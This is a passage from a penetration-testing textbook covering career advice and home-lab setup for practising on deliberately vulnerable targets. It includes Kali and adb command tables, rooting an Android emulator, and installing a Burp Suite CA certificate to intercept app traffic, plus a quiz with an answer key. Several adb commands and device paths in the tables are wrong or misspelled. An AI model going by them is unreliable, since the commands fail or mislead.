
Enroll in a course or training program

You can register in a specialized course or training program to hone the skills you'll require as a penetration tester. With these types of programs, you can learn new skills in a more organized environment while developing several skills simultaneously.

Cybersecurity certifications show employers and hiring supervisors that you have the skills needed to prosper in the sector. In addition to these general cybersecurity certifications, you can get accredited in penetration testing or ethical hacking. Respectable certifications to consider include the following:


	CompTIA PenTest+

	GIAC Penetration Tester (GPEN)

	GIAC Web Application Penetration Tester (GWAPT)

	Offensive Security Certified Professional (OSCP)

	Offensive Security Web Expert (OSWE)

	Offensive Security Wireless Professional (OSWP)

	Offensive Security Exploitation Expert (OSEE)



However, professional certifications are not a silver bullet. You can acquire the same skills from the information that is widely available on the internet for free, but it may take a little more of your time and patience.

Practice in real and simulated lab

Numerous companies want to employ penetration testers with previous experience. Thankfully, there are means to start gaining experience beyond the workplace. Several pen testing training programs include hands-on testing in simulated settings.

An additional method to gain experience is to take part in bug bounty programs. In these programs, companies typically provide money to independent penetration testers often called as security researchers that locate and report security defects in their system. It's an exceptional way to test your skills. Sometimes even if reports are not paid, they often acknowledge their work by setting up a Hall-of-Fame page in their company website, which is a great resume builder.

Lastly, you'll find numerous websites that allow penetration testers to lawfully practice hacking and experimenting. Here are a few to get started:


	Hack the Box (https://www.hackthebox.com/)

	Hack.me (https://hack.me/)

	OWASP WebGoat (https://owasp.org/www-project-webgoat/)



We will learn more about the ways to sharpen your skills in a later chapter.

Honing your social skills

Whether or not you are a hard core geek, you should realize that a pentester is a professional. This indicates that you will need to be able to properly connect with your clients/service consumers. There are two main things you need to focus on:


	Clear reporting and writing ability: This is essential as the solitary result of your job is the pen test report. You could be one of the best hackers on the planet, but if your report is crap, then your customer will believe that your work is crap. So, your report must be clear, objective, and understandable. We will discuss reporting in further detail in Chapter 9, Report Preparation and Documentation.

	Clear communication ability: You will certainly have to maintain some spoken and written communication with the customer. You will mainly speak with management as they are the individuals who pay you and you need to be able to discuss everything with individuals who are not always technical people. Likewise, you will certainly need to speak with the programmers and describe to them your findings, without annoying them. The ability to communicate clearly is a must.



Limitations of penetration testing

Undertaking a series of penetration tests will help test some of your security arrangements and identify improvements, but it is not a panacea for all ills. For example, a penetration test does the following:


	It covers just the target application, infrastructure, or environment that has been selected for testing.

	It focuses on the exposures in technical infrastructure, so it is not intended to cover all the ways in which critical or sensitive information can leak out of an organization.

	It plays only a small part in reviewing the people element of an organization. People element is often the most important in an organization’s defense system.

	It can be limited by legal or commercial considerations, limiting the breadth or depth of a pen test.

	It may not uncover all security weaknesses, for example, due to restricted scope or inadequate testing.

	It provides results that are often technical in nature and need to be interpreted in a business context.



Conclusion

Penetration testing can help mitigate the risks of the threats that your company might face. Nonetheless, good security methods need to be adopted to secure your organization. By taking a risk-based method on cybersecurity, you will certainly address the prioritized threats and assess your company risk exposure constantly.

From the next chapter onward, we will guide you to set up a minimal home lab that will help you hone your pen testing skills alongside deep diving into different types of penetration testing.

Questions

Here are some of the relevant questions you may often face during job interviews:


	What are the different types of pen testing methodologies?

	What is the CIA triad in cybersecurity?

	What are the different types of hackers?

	What is authentication and authorization?

	What are the major limitations of penetration testing?







CHAPTER 3

Setting Up Your Lab for Penetration Testing


Introduction

Ethical hacking is a term utilized to describe hacking done by a person/individual to recognize the potential vulnerabilities or weak points in a system that could be exploited by a harmful hacker. Hacking without the knowledge and consent of the target is prohibited. Hence, it is always advised to set up our own laboratory for testing hacking skills.

If you wish to go into penetration testing, a home laboratory is a must. In this chapter, we will review the quickest ways to establish your penetration testing lab for web, network, and mobile penetration testing. We will go over the devices and gadgets that a pen testing laboratory can and must include. Before you begin downloading and installing necessary software, you need to ensure that the computer you are utilizing fulfills some of the advisable demands. This will certainly guarantee that you can run numerous virtual devices at once without any concerns. We will also talk about some well-known vulnerable applications to practice your hacking abilities in your in-house pen test environment.

Structure

We will cover the following topics in this chapter:


	The importance of having an in-house pentest lab

	Topology of your pentest lab

	Setting up lab for web and network pentest

	Setting up lab for mobile application pentest

	Conclusion



Objectives

After studying this chapter, you should be able to set up an in-house penetration testing lab from scratch to hone your hacking skills based on your requirement. Here, we will learn to choose the right environment after knowing some facts about penetration testing. In this chapter, we will mainly cover the lab setup required for web, network, wireless, and mobile penetration testing.

The importance of having an in-house pentest lab

The obvious reason for setting up an in-house pentesting lab is to provide a hassle-free way to evaluate your new pentesting abilities. There are several benefits of setting up your own isolated laboratory.

An in-house pentesting laboratory is a great way to hone skills while avoiding legal problems. Hacking right into other individual’s computer systems and networks is prohibited without previous approval, but it's completely lawful to set up your very own laboratory that mimics another person's environment and then pentest your own system.

Penetration testing in a separated lab is also beneficial from a security perspective. Some penetration testing tools and strategies have the ability to damage the target computer or network. If malware is used in testing, there is the possibility for infection, and it may spread if testing in an internet-connected testbed. A standalone, isolated testbed ensures that the effects of the testing are restricted to the laboratory hardware and software.

Lastly, setting up an in-house pentesting laboratory can be helpful for the research and development of new pentesting methods and tools. A separated lab offers a regulated environment for testing and the capacity to configure the target the precise requirements required for the test.

Topology of your pentest lab

For a beginner pentester, a pentesting laboratory only requires a vulnerable target computer and a pentesting system. In this section, we will quickly look at some basic elements you need in your labs to exercise your web, network, and mobile penetration testing skills. To be able to set up a good penetration testing lab, you usually need more than one system: one for simulating the attacks and another system on which you will perform the attacks. Thanks to modern virtualization technologies, you can run multiple systems from a single computer. However, you need to keep a few things in mind:


	The system should have enough hard drive space available in your host computer to install each virtual machine.

	The system should have hardware virtualization settings enabled in BIOS settings.

	The system should have at least 16 GB of RAM.



Figure 3.1 shows the topology of a very basic penetration testing lab. Here, we have four basic systems:


	Virtual Machine (VM) 1: VM - Attacker (Kali Linux)

	Virtual Machine (VM) 2: VM - Victim (Windows)

	Virtual Machine (VM) 3: VM Victim (Linux)

	Virtual Mobile Device (Android Mobile Emulator)
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Figure 3.1: Network topology of your penetration testing lab

You need to ensure that each element of your lab can communicate with the internet and with each other. In your virtual environment, it will happen over virtual NAT.

Setting up lab for web and network pentest

Now that we’ve seen some basic elements of a pentest lab, it's time to start building these systems. It’s always best to have both a Windows and a Linux system in your labs for penetration testing as different tools and functionality are available on each platform. We will have to virtually deploy these systems in our labs. For that, we need help with virtualization software.

Utilizing virtualization technology in your lab

A major choice to make when establishing a pentesting environment is whether to utilize physical hardware, virtualization, or a mix of both. Both approaches have their benefits as well as negative aspects. Some of the main benefits of virtualization are price and scalability. An existing physical machine can organize one or more pentesting machines as well as the whole target network.

Virtual machines additionally provide snapshot functionality, making it trivial to save the present state of a machine and tidy up a contaminated machine. To begin, a totally or largely virtualized environment is probably the most effective method to go for a pentesting environment. When it involves choosing your virtualization systems, there are plenty of free as well as industrial choices.

If you are a beginner, we would suggest you to stick to a freely available virtualization platform:


	Virtual box

	VMware workstation/VMware player

	Hyper - V



In this chapter, we will mostly deal with VMware workstation player, which is the free version of VMWare workstation.

Basic elements of pentest labs

For a beginner penetration tester, a testing lab only needs to include a vulnerable target computer and a penetration testing computer.

Vulnerable targets/victim systems

The layout of the target environment in a penetration testing lab should depend on the expertise of the tester as well as the objective of the penetration testing exercise. A beginner pentester should begin with a simple environment and add intricacy as required. By beginning with a vulnerable target, a pentester can create an environment with the appropriate level of complexity to fit their requirements. You might need various systems based on your demand.

Here are some of the intentionally vulnerable systems that a pentester can include in lab as vulnerable targets:


	VulnHub: VulnHub provides materials, allowing anyone to gain practical hands-on experience with digital security, computer applications, and network administration tasks.

	Metasploitable: Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques.

	Juice shop (vulnerable web application resources for web app pen testing): OWASP juice shop is probably the most modern and sophisticated insecure web application. It can be used in security training, awareness demos, and CTFs and as a guinea pig for security tools. Juice shop encompasses vulnerabilities from the entire OWASP top ten, along with many other security flaws found in real-world applications.

	Damn vulnerable web app: Damn Vulnerable Web App (DVWA) is a PHP/MySQL-based web application that is intentionally vulnerable. Its main objectives are to aid security researchers and penetration testers in testing their hacking skills and tools in a safe environment. It also helps web application developers better understand the processes of securing their web applications.



Attacker machine

For a newbie pentester, downloading and installing a preconfigured pentesting system is most likely a far better option than building everything from scratch. The Kali distribution of Linux (previously called Backtrack) is freely offered and also features a lot of the typical Linux-based pentesting tools integrated. Kali Linux is specifically created for pentesting and is commonly used for hacking as well. Kali Linux, by default, does not come with any mobile device emulation software; so, to be able to execute pentest on a mobile application, an individual has to install a mobile device emulator by hand.

Introducing Kali Linux

A common doubt for beginners while setting up penetration testing lab is whether to use Linux or Windows and primary system. Seasoned penetration testers choose Linux as their primary system for many reasons. The first reason is the availability of hacking tools and specially, the open-source nature of the Linux operating system that compels professionals to use it over Windows. However, it’s always recommended to have both a Windows and a Linux box for penetration testing as different tools and functionality might be available on each platform depending on your need. Kali Linux is definitely one of the best operating systems for an ethical hacker as it contains a large set of tools well organized in different categories. Kali Linux should be installed in a machine as a primary operating system, which we will discuss in this section. However, you can also create a live boot CD or USB. It is open source, and its official web page is https://www.kali.org/.

It can be downloaded from the following URL:

https://www.kali.org/downloads/

Installing Kali Linux in a virtual machine – VMware Workstation Player

VMware Workstation Player is the limited-ability free version of VMware Workstation Pro. This means that it is just like VMware Workstation Pro, with lesser capability. However, what is readily available is enough for most non-commercial users. VMware Workstation Player is offered for free.

The download web page of VMware Workstation Player has all the readily available download options: https://www.vmware.com/in/products/workstation-player.html. You can download VMware Workstation Player from the preceding URL and install it in your system.

Step 1 – Getting the Kali Linux ISO image

To install Kali Linux, we will have to first get the installer ISO image file. You can get it by visiting the official download page. Download the 64-bit or 32-bit image depending on the system you have:
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Figure 3.2: Download page of Kali Linux ISO

Step 2 – Locate the downloaded file in the disk

Once you have downloaded the file, you should be able to see an ISO image, as shown in figure 3.3:
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Figure 3.3: Downloaded ISO image in disk

Step 3 – Open VMware Player

If you have a VMware Player icon on the desktop, open VMware Player. Alternatively, you can do it from the Windows Start menu. Upon launch, you should see a window open up like in figure 3.4:
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Figure 3.4: VMware Player start page

Step 4 – New virtual machine installation wizard

To create a new virtual machine, click on Create a New Virtual Machine from File -> New Virtual Machine. A Welcome to the New Virtual Machine Wizard dialog box will pop up. Select typical and click on Next >.

Step 5 – Welcome to the new virtual machine wizard dialog box appears

The very first window of new virtual machine creation wizard looks like Figure 3.5.


[image: ]

Figure 3.5: VMware Player

In this dialog box, you will have one option to browse to the downloaded ISO file and click on Next >. Generally, VMware Workstation detects the OS automatically and initiates what they call the Easy Install. In this particular case, you can choose I will install the operating system later.

Step 6 – Specify the guest operating system

In this dialog box, you will be asked to select the guest operating system. Select Guest operating system as Ubuntu 64-bit or 32 bit depending on your downloaded Kali Linux system architecture:
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Figure 3.6: Specify the guest operating system

Step 7 – Enter your virtual machine name

In this dialog box, you will be asked to provide the name of the virtual machine. You can provide any name you like, and you can also change the location of the virtual machine:
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Figure 3.7: Name of your virtual machine

Step 8 – Specify the capacity of your virtual disk

This dialog box asks you to specify the virtual disk capacity, which is the maximum amount of disk space it will utilize once the virtual machine is created. You can leave it to the default, but it’s recommended to increase it to at least 60GB.

Make sure the Split virtual disk into multiple files option is checked. This is the default option though:
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Figure 3.8: Specify virtual disk capacity

Step 9 – Ready to create virtual machine dialog box

This is the final dialog box that allows you to review the options you’ve selected previously:


[image: ]

Figure 3.9: Review your virtual machine settings

The preceding dialog box will allow further customization of your virtual hardware attached to your virtual machine. Once you click on the Customize Hardware… button, a new window will open up:


[image: ]

Figure 3.10: VM settings customization

If you have sufficient RAM and CPU on your host Windows machine, it is suggested to increase the RAM and CPU. To increase the RAM, click on Customize Hardware… before clicking on Finish. You can increase the memory using the slider.

Step 10 – Select new CD/DVD (IDE)

Now, it’s time to tell the VMware workstation player the location of Kali Linux ISO image from where it has to load the Kali operating system. For that, you have to go to New CD/DVD (IDE), and on the right-hand side, choose the Use ISO image file option to select the Kali Linux ISO image from the download location:
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Figure 3.11: Select Kali Linux ISO image

Once it's done, you can exit this Hardware window by clicking on the Close button.

Step 11 – Play your virtual machine
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Figure 3.12: Play your virtual machine

Now, you will have to click on Play virtual machine to start your newly created virtual machine as shown in figure 3.12.

Step 12 – Install Kali on your virtual machine

Once the VM starts, you will see many options. You have to select Graphical install using the down arrow key and click on Continue:
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Figure 3.13: Boot menu of Kali Linux

Once you select Graphical install, the interactive Kali installation wizard will start, and just like installing any other Linux-based operating system, you have to go through the following steps:


	Selecting a language

	Selecting the location

	Configuring the keyboard

	Configuring the network – Enter host name

	Configuring the network – Enter domain name

	Setting up user account and password

	Partitioning disk



The wizard is pretty self-explanatory and interactive. So, you can pretty much go with the default options for these steps. Then, installation will start, and it will take 15-20 minutes depending on your hardware allocation. Once the installation is complete, you should see a window like this:
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Figure 3.14: Kali Linux installation complete

After that, you can reboot the virtual machine. Once the VM starts, you will see the grub boot loader as shown in figure 3.15:
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Figure 3.15: Kali grub boot loader

Select Kali GNU/Linux. You will be asked to enter username and password. Once this is done, you will see the GUI of Kali Linux:
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Figure 3.16: Kali Linux home page

Kali Linux tools listing

Kali Linux is already loaded with tons of tools that you need at different phases of penetration testing. The phases are listed as follows:


	Web applications

	Information gathering

	Vulnerability analysis

	Exploitation tools

	Sniffing and spoofing

	Password attacks

	Maintaining access

	Reverse engineering

	Wireless attacks

	Forensics tools

	Hardware hacking

	Reporting tools



More details about the updated tool list can be found at the following link:

https://tools.kali.org/tools-listing

Running Kali from the live USB

A live USB Drive (also called live disc, or live operating system) is a complete bootable computer setup that runs straight from a USB or comparable storage device right into a computer's memory rather than loading from a hard disk drive. A live USB drive permits users to run an OS for any purpose without installing it or making any kind of changes to the computer's configuration.

Live USB drive can operate on a computer without secondary storage, such as a disk drive, or with a corrupted disk drive or data system, enabling information recuperation. Running Kali Linux from the live disk is best when you are doing forensics or recovery tasks. One thing that you can do very nicely from the live disk is to start up a computer without composing anything to the hard drive; this is also an essential consideration when you are working to recover data from the hard disk drive for forensic investigation.User privilege in Kali Linux

A number of the hacking tools on Kali Linux call for root privileges to execute, in addition to all the regular Linux commands that require it. sudo is a way that we can gain access to tools, ports, or services that need administrative privileges. However, sudo is powerful, and it can allow complete access to the system, so it is not suggested to utilize sudo on every command. Kali creates a user with administrative privileges by default; users can use sudo right now as well as supply their password for authentication.

Kali commands cheat sheet

Here are some of the very important Kali Linux commands that you will need in your day work:







	
File and directory manipulation





	
ls


	
List down all files and folders in the current directory





	
pwd


	
Display path of the current directory you’re in





	
ls -la 


	
Give a detailed list of files and folders, including hidden ones





	
cd 


	
Change to home directory





	
cd /user/Desktop 


	
Change to a specific directory called Desktop





	
cd .. 


	
Move back a directory





	
mkdir <dir>


	
Create a new directory





	
mkdir /home/dir


	
Create a directory in a specific location





	
Create and edit files





	
nano <file> 


	
Edit an existing file or create it if it doesn’t exist





	
touch <file>


	
Create an empty file





	
Copy, move, and rename files and directories





	
cp -r <dir1> <dir2>


	
Create a copy of a directory and everything in it





	
cp <file1> <file2>


	
Create a copy of a file





	
cp <file> /home/Desktop/file2


	
Create a copy of a file in a different directory and name it file2





	
mv <file> /home/Desktop


	
Move a file to a specific directory (overwrites any existing file with the same name)





	
mv <dir> /home/Desktop


	
Move a directory to another location





	
mv <dir1> <dir2>


	
Rename a file or directory (dir1 -> dir2)





	
rm <file>


	
Delete a file





	
rm -f <file>


	
Force delete a file





	
rm -r <dir>


	
Delete a directory and its contents





	
rm -rf <dir>


	
Force delete a directory and its contents





	
cat <file>


	
Display/output the contents of a file





	
less <file>


	
Display the contents of a file with scroll (paginate) ability (press q to quit)





	
head <file>


	
Display the first ten lines in a file





	
head -20 <file>


	
Display the first 20 lines in a file





	
tail <file>


	
Display the last ten lines in a file





	
tail -20 <file>


	
Display the last 20 lines in a file





	
diff <file1> <file2>


	
Check the difference between two files (file1 and file2)





	
System utilities





	
poweroff


	
Shut down system





	
reboot


	
Reboot system





	
cal


	
Display monthly calendar





	
date


	
Check date and time





	
uname -a


	
Display system information





	
View disk and memory usage





	
df -h


	
Display disk space usage





	
fdisk -l


	
List disk partition tables





	
free 


	
Display memory usage





	
View user information





	
whoami


	
Output your username





	
History


	
View a list of your previously executed commands





	
Installing and upgrading packages





	
apt-cache <pkgnames>


	
List all available packages





	
apt search <name>


	
Search for a package and its description





	
apt show <name>


	
Check detailed description of a package





	
Install packages





	
apt-get install <name>


	
Install a package





	
apt-get install <name1> <name2>


	
Install multiple packages





	
Update, upgrade, and cleanup





	
apt-get update 


	
Update list of available packages





	
apt-get upgrade 


	
Install the newest version of available packages





	
apt-get dist-upgrade


	
Force upgrade packages





	
apt-get autoremove 


	
Remove installed packages that are no longer needed





	
apt-get clean


	
Free up disk space by removing archived packages





	
Delete packages





	
apt-get remove

<package name>


	
Uninstall a package





	
apt-get remove --purge


	
Uninstall a package and remove its configuration files





	
Processes and job management





	
top


	
Display running processes and system usage in real-time





	
ps


	
Display currently running processes





	
ps -u <user>


	
Display currently running processes of a user





	
kill <PID>


	
Kill a process by PID #





	
killall <processes>


	
Kill all processes with specified name





	
Networking utilities





	
ping <host>


	
Ping a host





	
whois <domain/IP>


	
Get whois information about a domain or IP





	
dig <domain/IP>


	
Get DNS information





	
nslookup <dns name server >


	
Get name server information





	
ifconfig


	
Configure/display network interfaces





	
iwconfig


	
Configure/display wireless network interfaces





	
netstat -r


	
Display kernel IP routing tables





	
netstat -antp


	
Check for established and listening ports/connections





	
arp -a


	
Display ARP cache tables for all interfaces






Table 3.1: important Kali Linux commands

Setting up lab for mobile application pentest

In the progressing world of technology, mobile applications are more dominant than ever; this advancement has developed a series of new attacks that were not pertinent in the traditional web application world. Now, we will demonstrate the best method of establishing your laboratory for mobile application security assessment. A mobile penetration testing lab may have multiple mobile operating systems, such as Android, iPhone, and so on. This chapter only ought to help you establish your laboratory and some devices you need for Android penetration testing.

Basic elements of a mobile pentest lab

To set up the environment for pen testing Android devices, the full Android Development Environment, along with several tools, is required. In this section, we will go through several key elements of mobile pentest lab and how to set up them.

Android Debug Bridge (adb)

Android Debug Bridge (adb) is a flexible command-line device that allows you interact with a device. The adb command assists in the selection of device activities, such as mounting and debugging apps, and it supplies access to a UNIX covering that you can utilize to run a selection of commands on a device.

adb consists of the Android SDK platform-tools package. You can download this bundle with the SDK supervisor, which installs it at android_sdk/platform-tools/. If you desire the standalone Android SDK platform tools bundle, you can download it from https://developer.android.com/studio/releases/platform-tools.

Once you install Android platform tools, you should find the main adb binaries in the android_sdk/platform-tools/ path. You always have the option to add that path in your system path to be able to access the adb binaries from anywhere. You can use adb to control, any Android device that is connected to your computer, be it real mobile device or an emulator. adb can communicate with an Android device through various channels, such as USB and TCP IP.

Android emulator

The Android emulator mimics Android devices on your computer to ensure that you can test your application on a range of devices as well as Android API levels without the need to have each physical device. The emulator provides almost all the abilities of a real Android device. We will utilize a popular Android emulator called BlueStacks.

BlueStacks app player is a user-friendly program that you can use to run Android applications on your computer. This program creates a virtual device that you can conveniently manage from its major menu, and also rapidly download and set up a range of applications as if you were working with an actual Android device. Here are some steps to follow to set up BlueStacks Android emulator on your system:


	Installing BlueStacks
Installing BlueStacks on your system is as easy as installing any other software on your PC. You just need to download BlueStacks from the official BlueStacks website: navigate to the download page (https://www.bluestacks.com/download.html) and choose your platform on which you want to run BlueStack. Once the installer is downloaded, you need to click on the newly created desktop icon to start the BlueStack player:
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Figure 3.17: BlueStacks emulator


	Rooting your BlueStacks emulator
Rooting is the process of allowing users of the Android mobile operating system to attain privileged control (known as root access) over various Android subsystems. In many cases, during your mobile pen test journey, you have to manipulate the emulator platform and should have your BlueStacks emulator device rooted to be able to get full control over the platform.

You can use a small utility called BlueStacks Tweaker to root your BlueStacks emulator. Here are the steps to root your BlueStacks device:


	Download and install BlueStack Tweaker from the following link:
https://bstweaker.tk/
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Figure 3.18: BlueStacks Tweaker


	After downloading, extract, and install the BlueStacks Tweaker.

	Then, run the BlueStacks Tweaker as an administrator (this is important).

	Now, click on the Main tab and then click on Force Kill BS.

	Both the BlueStacks and ADB indicators will turn red.

	Then, go to the Root tab and click on Unlock.

	Again, go back to Main tab and click on Start BS.

	BlueStacks restarts. When BlueStacks restarts, you see both the BlueStacks and ADB indicators turning green.

	Then, go to the Root tab again and click on Patch.

	You can also install the Root Checker utility from Play Store to check if the root was successful.

	Install an Android app named SuperSU in the BlueStacks emulator. Then, the su command can be used in your BlueStacks emulator to switch to root user and execute binaries with root privilege on your emulator.



	Connecting BlueStacks emulator over Android Debug Bridge (adb)
Post rooting, you should be able to control and manipulate your Android emulator from your main system through Android debug bridge. To be able to do that, you need to enable Android debug bridge on your BlueStacks emulator. For that, you need to go to Settings -> Preferences -> check Enable Android Debug Bridge (ADB) checkbox:


[image: ]

Figure 3.19: BlueStacks configuration




After that, execute the following commands from your PC:

adb tcpip 5555

adb connect 127.0.0.1:5555

After that, your adb should be connected to your BlueStacks emulator. To verify that, you have to execute the adb devices command. It should give you the list to mobile devices/emulators connected to adb:
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Figure 3.20: adb command

After that, if you execute adb shell, you should get the shell of your BlueStacks emulator:
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Figure 3.21: adb shell command

Burp Suite proxy

Intercepting proxies are tools utilized to examine, change, and in many cases, inject web traffic right into the normal session created between a client and server. One common example where this is utilized is in testing the security of a website using a tool like Burp Suite, which serves as a proxy linking your very own web browser to it. This enables Burp Suite to regulate a connection that was requested by the web browser and enables a large number of tools and testing methods to be put into the link.

Intercepting web browser traffic with Burp suite is very simple. One just has to navigate to Burp’s "Proxy Tab" -> "Intercept Tab" and then click on "Open Browser". It will launch a new chromium browser window. Pentester can browse the target website on the newly launched browser windows. The traffic will be passed through the Burp proxy and tester should be able to view and intercept the web traffic.

Burp Suite or any other similar intercepting proxy is an essential tool for mobile penetration testing because it allows penetration testers to see how any mobile app is communicating with the server while running within a mobile device or emulator:
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Figure 3.22: Burp intercepting proxy diagram

To be able to successfully intercept all HTTP/HTTPS communication in Burp Suite, you need to follow these steps:


	Install the Root Certificate Manager app from Play Store in your BlueStack emulator.

	Install the Proxy Droid application from Play Store in your BlueStack emulator.

	Launch Burp Suite on your PC. Go to the Proxy tab -> Options sub tab and configure your burp proxy to listen to port 8080 on all interfaces:
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Figure 3.23: Burp proxy configuration


	After that, click on the Import / export CA certificate button; it will allow you to export the Burp Suite certificate in DER format. Export it and save it as cert.der for later use:
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Figure 3.24: Burp export CA certificate


	Copy the cert.der to your emulator using Android Debug Bridge (adb) using the adb push /home/user/cert.der /data/local/tmp command. This will transfer the cert.der file to your emulator.

	Open the Root Certificate Manager installed in Step 1 in your emulator and install the /data/local/tmp/cert.der file as root certificate in your Android emulator. After that, you should see the Burp Suite certificate in the certificate list of Root Certificate Manager app:
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Figure 3.25: Burp CA certificate listing


	Open the Proxy Droid app in your emulator and set your PC’s IP as proxy; port has to be 8080. In the following example, 192.168.21.144 is the IP of the system where Burp proxy is running on port 8080:
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Figure 3.26: Android proxy configuration




Post that, all HTTP / HTTPS requests originating from your emulator will pass through the burp proxy running on your PC, and you should be able to intercept all request response in Burp Suite.

Apktool

This is a tool for reverse engineering third-party, closed, binary Android applications. It can decipher resources to nearly original form and also restore them after making some alterations. It also makes working with an app simpler as a result of the project-like file structure as well as automation of repeated tasks like constructing APK. It is not planned for piracy as well as other non-legal usages. It could be utilized for localizing, including some features or support for customized platforms, analyzing applications, and more.

Features


	It is capable of disassembling resources to nearly their original form (including resources.arsc, classes.dex).

	It is capable of rebuilding decoded resources back to binary APK or JAR.

	It is capable of organizing and handling APKs that depend on framework resources.

	Smali debugging is replaced with ideasmali.

	It can help with repetitive tasks by providing automation functionalities.



Mobile Security Framework (MobSF)

Mobile Security Framework, also known as MobSF, is an automated, all-in-one mobile application (Android/iOS/Windows) penetration testing, malware analysis, and security assessment framework. MobSF can also perform static and dynamic analysis on mobile application packages. MobSF supports almost all well-known mobile app binaries, such as APK, XAPK, IPA, and APPX, along with zipped source code. It comes with REST API, which allows an organization to seamlessly integrate it with CI/CD or DevSecOps pipeline. MobSF also comes with a dynamic analyzer tool that helps in performing runtime security/risk assessment.

Dex to Java decompiler - Jadx

Dex to Java Decompiler also known as Jadx is a command line and GUI tools for producing Java source code from Android DEX and APK files.

Target/vulnerable Android apps

Just like your internationally made vulnerable web application, to sharpen your skills, you need intentionally vulnerable mobile applications as well. There are a few good options available to you. Here are some of the purposefully vulnerable Android applications that you can test your skills against.

PIVAA: Created by High-Tech Bridge, the Purposefully Insecure and Vulnerable Android Application (PIVAA) replaces outdated DIVA for the benchmark of mobile vulnerability scanners. You can use free online mobile app scanner to run the test and compare it with other apps. Refer to the following link:

https://github.com/HTBridge/pivaa

Android pentest lab cheat sheet

Here are some of the important commands that you will need in your day work while pentesting Android applications:







	
ADB basics





	
adb devices 


	
Lists connected devices





	
adb root 


	
Restarts adb with root permissions





	
adb start-server


	
Starts the adb server





	
adb kill-server


	
Kills the adb server





	
adb reboot 


	
Reboots the device





	
adb devices -l 


	
Lists devices by product/model





	
adb shell


	
Starts the background terminal





	
exit 


	
Exits the background terminal





	
adb help


	
List all commands





	
adb -s <deviceName> <command>


	
Redirect command to specific device





	
adb –d <command> 


	
Directs command to only attached USB device





	
adb –e <command>


	
Directs command to only attached emulator





	
Package installation





	
adb shell install <apk> 


	
Install app





	
adb shell install <path>


	
Install app from phone path





	
adb shell install -r <path> 


	
Install app from phone path





	
adb shell uninstall <name> 


	
Remove the app





	
adb shell ls 


	
List directory contents





	
adb shell ls -s


	
Print size of each file





	
adb shell ls -R 


	
List subdirectories recursively





	
File operations





	
adb push <local> <remote> 


	
Copy file/dir to device





	
adb pull <remote> <local


	
Copy file/dir from device





	
run-as <package> cat <file> 


	
Access the private package files





	
Phone information





	
adb get-statе


	
Print device state





	
adb get-serialno


	
Get the serial number





	
adb shell dumpsys iphonesybinfo


	
Get the IMEI





	
adb shell netstat 


	
List TCP connectivity





	
adb shell pwd 


	
Print current working directory





	
adb shell dumpsys battery


	
Battery status





	
adb shell pm list features


	
List phone features





	
adb shell service list


	
List all services





	
adb shell dumpsys activity <package>/<activity> 


	
Activity information





	
adb shell ps


	
Print process status





	
adb shell wm size


	
Displays the current screen resolution





	
Device log manipulation





	
adb logcat [options] [filter] [filter]


	
View device log





	
adb bugreport


	
Print bug reports





	
Permissions management





	
adb shell permissions groups


	
List permission groups definitions





	
adb shell list permissions -g -r 


	
List permissions details





	
Device related commands





	
adb reboot-recovery


	
Reboot device into recovery mode





	
adb reboot fastboot 


	
Reboot device into recovery mode





	
adb shell screencap -p "/path/to/cap.png"


	
Capture screenshot





	
adb shell screenrecord "/path/to/vid.mp4"


	
Record device screen






Table 3.2: Important commands

Some useful Android device paths

Here are some useful android system paths you should always keep handy while performing penetration test on android application:







	
/data/data/<your package>/databases


	
App databases.





	
/data/data/<your package>/shared_prefs/


	
Shared preferences.





	
/data/app


	
APK installed by user.





	
/system/app


	
Pre-installed APK files.





	
/mmt/emmc


	
Internal SD card.





	
/mmt/adcard


	
External/internal SD card.





	
/mmt/adcard/external_sd


	
External SD card.






Table 3.3: Android device paths

Conclusion

Whether you're an amateur or an experienced pentester, having a home laboratory is necessary. Eventually, everyone is going to stumble upon a brand new circumstance or have an innovative idea that will require some experimentation. For reasons of values and security, experimentation requires to be performed in a separated environment. We strongly believe that this chapter made obvious how simple it is to set up a virtual penetration lab for practice. From the following chapter onwards, we are likely to use these tools and systems at their best to learn some practical penetration testing skills.

Points to remember


	Hacking into another individual’s computer systems and networks is illegal without prior consent, yet it's completely legit to set up your very own laboratory that mimics someone else's environment and perform security experiments.

	Penetration testing in an isolated lab is also the best choice from a safety and security standpoint. Some penetration testing devices and methods can harm or ruin the target computer system or network.

	Make Google your best friend. As mentioned earlier, the life of a penetration tester is full of challenges. You will encounter a new environment with new challenges every day, which is literally impossible for us to cover in this book. You have to make Google your best friend to learn about these new environments and simulate them in your local machine.



Multiple choice questions


	What is the name of the built-in Android emulator in Kali Linux?

	BlueStack

	NoxPlayer

	Dolphin

	None of the above



	Kali Linux was previously known as which of these?

	Backtrace

	Gnome

	Parrot

	Backtrack



	Kali Linux 2021.1 is based on Linux Kernel of which version?

	Kernel 5.4.0, Xfce 4.14.2

	Kernel 4.9, GNOME 3.22

	Kernel 4.15.0, GNOME 3.28.0

	Kernel 5.10.0, Xfce 4.16.1



	Android debug bridge comes with which of these?

	Ubuntu

	Android platform tools

	Windows 10

	MacOSx



	Which of the following tools is not part of Kali Linux?

	Cobalt strike

	Metasploit

	Hping2

	sqlmap



	Which of the following commands is used to kill a process in Kali Linux?

	delete

	nano

	kill

	hung



	Which of the following tools in Kali Linux is used for sniffing?

	Metasploit

	tshirk

	sniffme

	Hping





Answers


	D

	D

	A

	B

	A

	C

	B



Questions


	What is Kali Linux?

	What is the Linux Kernel?

	Which command is used to check the engaged memory?

	How do you check if your Kali Linux supports any wireless card?

	Differentiate user mode from privileged mode.

	What are the different phases of penetration testing that Kali Linux provides tools for?

	What is virtual NAT?

	What is bridged network?

	What do you mean by host only network of a VM?

	Name a few tools in Kali Linux that allow you to find open ports in a remote system.



Key terms


	Pentest: Penetration testing

	VM: Virtual machine

	Snapshot: A virtual machine snapshot is a copy of the virtual machine hard disk file at a given point of time. When user takes a snapshot, it preserves the state of the virtual machine so that we can return/restore to the same state later when needed. This means if something goes wrong in the VM during experimentation, we can revert back to a working snapshot at any time.

	Clone: A VM clone is a copy of an existing virtual machine. The existing virtual machine being cloned is called the parent of the clone. Once the cloning operation is completed, the clone becomes a separate virtual machine. In certain configurations, it may share virtual disks with the parent virtual machine.

	Adb: Android Debug Bridge







CHAPTER 4

Web Application and API Penetration Testing


Introduction

